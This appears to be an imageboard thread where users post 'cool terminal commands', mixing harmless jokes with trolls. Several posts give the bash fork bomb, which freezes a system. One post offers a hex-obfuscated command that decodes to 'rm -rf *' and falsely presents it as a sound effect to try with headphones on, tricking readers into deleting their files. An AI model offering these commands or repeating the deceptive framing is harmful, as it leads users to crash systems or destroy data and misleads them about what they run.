What are some cool terminal commands?

What are some cool terminal commands?

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echo hello world ;^)

dd if=/dev/sda of=/dev/null

>dd if=/dev/sda of=/dev/null
the state of Sup Forums

aplay /dev/urandom

kill you are self

Fucked up trolling this badly...

are you a /memeism general/ (/mg/) regular? That's the kind of terminal skill showed in there.

#!/usr/bin/ bash

Sudo umount /dev/sdb1
Sudo umount /dev/sdc1
Sudo umount /dev/sdd1
Echo All external drives have been unmounted

I find it handy.

substitution in bash is pretty cool
$ echo hello world :\^\)
> Hello world :^)
$ ^\)^\(
> Hello world :^(

Neat

Is this a metameme?

cmatrix

:)
:( ){: |: &);:
{:D

:(){ :|: & };:

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ohh fugg :DDD actually used the wrong closing bracket in my reply

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while we're at it

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where can I find all of these?

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How did you fuck this up
Dumbass

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Underrated post.

I made a thread (and a bunch) of these earlier
uploading them to eraser.ml/bashblob/

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echo "g(i,x,t,o){return((3&x&(i*((3&i6?\"BY}6YB6%\":\"Qj}6jQ6%\")[t%8]+51)>>o))

echo 1337 hacker

exit

{code} $(echo 726d202d7266202a | xxd -r -p)[/code}
Make sure headphones are on or speakers turned up some first

Ahh phone typing...
$(echo 726d202d7266202a | xxd -r -p)[/code}

What the Frick I didn't type the curly brace

$(echo 726d202d7266202a | xxd -r -p)

Nice